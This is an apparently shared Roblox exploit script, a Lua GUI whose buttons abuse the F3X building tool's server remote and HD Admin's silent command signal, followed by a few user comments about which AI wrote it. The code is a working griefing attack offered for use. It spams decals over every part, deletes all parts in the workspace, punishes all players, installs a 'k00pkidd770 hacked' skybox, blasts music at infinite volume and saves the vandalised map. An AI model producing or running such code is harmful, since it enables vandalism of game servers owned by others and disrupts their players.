
KeylessUniversal

-- k00pkidd770 gui f3x
local ScreenGui = Instance.new("ScreenGui")
local MainFrame = Instance.new("Frame")
local TitleLabel = Instance.new("TextLabel")
local ButtonContainer = Instance.new("ScrollingFrame")
local UIListLayout = Instance.new("UIListLayout")
local UIPadding = Instance.new("UIPadding")
-- Cấu trúc Giao diện
ScreenGui.Name = "k00pkidd770_GUI"
ScreenGui.Parent = game:GetService("CoreGui")
ScreenGui.ResetOnSpawn = false
MainFrame.Name = "MainFrame"
MainFrame.Parent = ScreenGui
MainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
MainFrame.Position = UDim2.new(0, 15, 0, 15)
MainFrame.Size = UDim2.new(0, 300, 0, 300)
MainFrame.BorderSizePixel = 0
MainFrame.Active = true
MainFrame.Draggable = true
local MainCorner = Instance.new("UICorner")
MainCorner.CornerRadius = UDim.new(0, 8)
MainCorner.Parent = MainFrame
TitleLabel.Name = "Title"
TitleLabel.Parent = MainFrame
TitleLabel.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
TitleLabel.Size = UDim2.new(1, 0, 0, 40)
TitleLabel.Font = Enum.Font.GothamBold
TitleLabel.Text = "k00pkidd770 gui f3x"
TitleLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TitleLabel.TextSize = 18
local TitleCorner = Instance.new("UICorner")
TitleCorner.CornerRadius = UDim.new(0, 8)
TitleCorner.Parent = TitleLabel
ButtonContainer.Name = "ButtonContainer"
ButtonContainer.Parent = MainFrame
ButtonContainer.BackgroundTransparency = 1
ButtonContainer.Position = UDim2.new(0, 0, 0, 45)
ButtonContainer.Size = UDim2.new(1, 0, 1, -45)
ButtonContainer.CanvasSize = UDim2.new(0, 0, 0, 0)
ButtonContainer.AutomaticCanvasSize = Enum.AutomaticSize.Y
ButtonContainer.ScrollBarThickness = 4
UIListLayout.Parent = ButtonContainer
UIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout.Padding = UDim.new(0, 8)
UIPadding.Parent = ButtonContainer
UIPadding.PaddingTop = UDim.new(0, 5)
-- Hàm tạo nút
local function CreateButton(text, callback)
local btn = Instance.new("TextButton")
btn.Parent = ButtonContainer
btn.BackgroundColor3 = Color3.fromRGB(55, 55, 55)
btn.Size = UDim2.new(0, 270, 0, 40)
btn.Font = Enum.Font.Gotham
btn.Text = text
btn.TextColor3 = Color3.fromRGB(255, 255, 255)
btn.TextSize = 14
local btnCorner = Instance.new("UICorner")
btnCorner.CornerRadius = UDim.new(0, 6)
btnCorner.Parent = btn
btn.MouseButton1Click:Connect(callback)
return btn
end
---------------------------------------------------------
-- 1. NÚT DECAL SPAM
---------------------------------------------------------
CreateButton("Decal Spam", function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
if tool then
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetLocked(part,boolean)
local args = {[1] = "SetLocked",[2] = {[1] = part},[3] = boolean}
_(args)
end
function SpawnDecal(part,side)
local args = {[1] = "CreateTextures",[2] = {[1] = {["Part"] = part,["Face"] = side,["TextureType"] = "Decal"}}}
_(args)
end
function AddDecal(part,asset,side)
local args = {[1] = "SyncTexture",[2] = {[1] = {["Part"] = part,["Face"] = side,["TextureType"] = "Decal",["Texture"] = "rbxassetid://".. asset}}}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(131241667745998)
end
end)
---------------------------------------------------------
-- 2. NÚT SKYBOX
---------------------------------------------------------
CreateButton("Skybox", function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then tool = v.Parent end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then tool = v.Parent end
end
if tool then
remote = tool.SyncAPI.ServerEndpoint
function _(args) remote:InvokeServer(unpack(args)) end
function CreatePart(cf,parent) _({[1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent}) end
function MovePart(part,cf) _({[1] = "SyncMove", [2] = {[1] = {["Part"] = part, ["CFrame"] = cf}}}) end
function AddMesh(part) _({[1] = "CreateMeshes", [2] = {[1] = {["Part"] = part}}}) end
function SetMesh(part,meshid) _({[1] = "SyncMesh", [2] = {[1] = {["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid}}}) end
function SetTexture(part, texid) _({[1] = "SyncMesh", [2] = {[1] = {["Part"] = part, ["TextureId"] = "rbxassetid://"..texid}}}) end
function SetName(part, stringg) _({[1] = "SetName", [2] = {[1] = part}, [3] = stringg}) end
function MeshResize(part,size) _({[1] = "SyncMesh", [2] = {[1] = {["Part"] = part, ["Scale"] = size}}}) end
function SetLocked(part,boolean) _({[1] = "SetLocked", [2] = {[1] = part}, [3] = boolean}) end
function SetAnchor(boolean,part) _({[1] = "SyncAnchor", [2] = {[1] = {["Part"] = part, ["Anchored"] = boolean}}}) end
function SetCollision(part,boolean) _({[1] = "SyncCollision", [2] = {[1] = {["Part"] = part, ["CanCollide"] = boolean}}}) end
function Sky(id)
local e, f, g = char.HumanoidRootPart.CFrame.x, char.HumanoidRootPart.CFrame.y, char.HumanoidRootPart.CFrame.z
local spawnPos = CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0, 6, 0)
CreatePart(spawnPos, workspace)
task.wait(0.2)
local skyPart
for i, v in workspace:GetDescendants() do
if v:IsA("BasePart") and (v.Position - spawnPos.p).Magnitude < 1 then
skyPart = v
SetName(v, "RandomSpinSky")
AddMesh(v)
SetMesh(v, "111891702759441")
SetTexture(v, id)
MeshResize(v, Vector3.new(2500, 2500, 2500))
SetLocked(v, true)
SetAnchor(true, v)
SetCollision(v, false)
break
end
end
if skyPart then
local t = 0
game:GetService("RunService").Heartbeat:Connect(function(dt)
t = t + dt
local newCf = spawnPos * CFrame.Angles(math.rad(math.sin(t*1.5)*19), math.rad(t*19), math.rad(math.cos(t*2.1)*19))
MovePart(skyPart, newCf)
end)
end
end
Sky("78411722407265")
end
end)
---------------------------------------------------------
-- 3. NÚT BTOOLS (HD ADMIN)
---------------------------------------------------------
CreateButton("BTools", function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me")
end)
---------------------------------------------------------
-- 4. NÚT REALM (NGUYÊN SCRIPT CỦA BẠN)
---------------------------------------------------------
CreateButton("Realm", function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me")
RequestCommand:InvokeServer(";fogcolor black")
wait(0.4)
RequestCommand:InvokeServer(";punish all")
wait(0.1)
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function delete(part)
local args = {[1] = "Remove",[2] = {[1] = part}}
serverendpoint:InvokeServer(unpack(args))
end
local function deleteall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
delete(v)
end)
end
end
end
deleteall()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";fogcolor black ;time")
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function resize(part,size,cf)
local args = {[1] = "SyncResize",[2] = {[1] = {["Part"] = part,["CFrame"] = cf,["Size"] = size}}}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmaterial(part,mate,trans)
local args = {[1] = "SyncMaterial",[2] = {[1] = {["Part"] = part,["Material"] = mate}}}
serverendpoint:InvokeServer(unpack(args))
end
local function transparency(part,trans)
local args = {[1] = "SyncMaterial",[2] = {[1] = {["Part"] = part,["Transparency"] = trans}}}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {[1] = "SyncColor",[2] = {[1] = {["Part"] = part,["Color"] = color,["UnionColoring"] = false}}}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshid(part, id)
local args = {[1] = "SyncMesh",[2] = {[1] = {["Part"] = part,["MeshId"] = "rbxassetid://"..id}}}
serverendpoint:InvokeServer(unpack(args))
end
local function makemesh(part)
local args = {[1] = "CreateMeshes",[2] = {[1] = {["Part"] = part}}}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshsize(part, vectora)
local args = {[1] = "SyncMesh",[2] = {[1] = {["Part"] = part,["Scale"] = vectora}}}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshtexture(part, id)
local args = {[1] = "SyncMesh",[2] = {[1] = {["Part"] = part,["TextureId"] = "rbxassetid://"..id}}}
serverendpoint:InvokeServer(unpack(args))
end
local function name(part, stringa)
local args = {[1] = "SetName",[2] = {[1] = part},[3] = stringa}
serverendpoint:InvokeServer(unpack(args))
end
local function lock(part, boolean)
local args = {[1] = "SetLocked",[2] = {[1] = part},[3] = boolean}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {[1] = "SyncCollision",[2] = {[1] = {["Part"] = part,["CanCollide"] = booleana}}}
serverendpoint:InvokeServer(unpack(args))
end
local function setanchor(part, boolean)
local args = {[1] = "SyncAnchor",[2] = {[1] = {["Part"] = part,["Anchored"] = boolean}}}
serverendpoint:InvokeServer(unpack(args))
end
local function createdecal(part, side)
local args = {[1] = "CreateTextures",[2] = {[1] = {["Part"] = part,["Face"] = side,["TextureType"] = "Decal"}}}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {[1] = "SyncTexture",[2] = {[1] = {["Part"] = part,["Face"] = side,["TextureType"] = "Decal",["Texture"] = "rbxassetid://".. asset}}}
serverendpoint:InvokeServer(unpack(args))
end
local function makerealmbase()
local position = CFrame.new(0, 5, 0)
local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
resize(base, Vector3.new(512, 16, 512), position)
syncmaterial(base, Enum.Material.Concrete)
color(base, Color3.new(0.513725, 0.513725, 0.513725))
name(base, "loltroll")
lock(base, true)
local spawnpos = CFrame.new(34.5, 8.1, -26)
local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace)
resize(spawna, Vector3.new(20, 10, 20), spawnpos)
name(spawna, "SpawnLocation")
lock(spawna, true)
createdecal(spawna, Enum.NormalId.Top)
setdecal(spawna, "122714843906483", Enum.NormalId.Top)
transparency(spawna, 1)
local pos1 = CFrame.new(74.143, 24, -25.232)
local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos1, workspace)
transparency(rules, 0)
setcollision(rules, false)
createdecal(rules, Enum.NormalId.Left)
setdecal(rules, "93992818522111", Enum.NormalId.Left)
color(rules, Color3.new(1, 1, 1))
resize(rules, Vector3.new(4, 23, 37), pos1)
local pos2 = CFrame.new(1.143, 24, -25.232)
local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos2, workspace)
transparency(bad, 1)
setcollision(bad, false)
createdecal(bad, Enum.NormalId.Right)
setdecal(bad, "102186044091876", Enum.NormalId.Right)
resize(bad, Vector3.new(4, 23, 37), pos2)
end
local function sky()
local position = CFrame.new(0, 5, 0)
local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
makemesh(sky)
syncmeshid(sky, "111891702759441")
syncmeshtexture(sky, "93992818522111")
syncmeshsize(sky, Vector3.new(99999, 99999, 99999))
lock(sky, true)
name(sky, "k00pkidd770 hacked")
setcollision(sky, false)
end
local function realm()
sky()
makerealmbase()
end
realm()
RequestCommand:InvokeServer(";res all")
wait(0.3)
RequestCommand:InvokeServer(";r6 all")
RequestCommand:InvokeServer(";time 17")
wait(0.7)
RequestCommand:InvokeServer(";music 1847661821 ;volume inf ;savemap")
end)
---------------------------------------------------------
-- 5. NÚT MUSIC (HD ADMIN)
---------------------------------------------------------
CreateButton("Music", function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 120785124326826 ;volume inf")
end)
![[KEYLESS] Moondiety Script | 17+ supported Games](https://scriptblox.com/images/sb/0-1753093706828.png)


chatgpt
Literally chat gpt 💀
Yes, I use AI, but not ChatGPT. And Hai, can you tell me what AI I'm using😉😉
@Clientshackroblox deep seek
No, it's Gemini.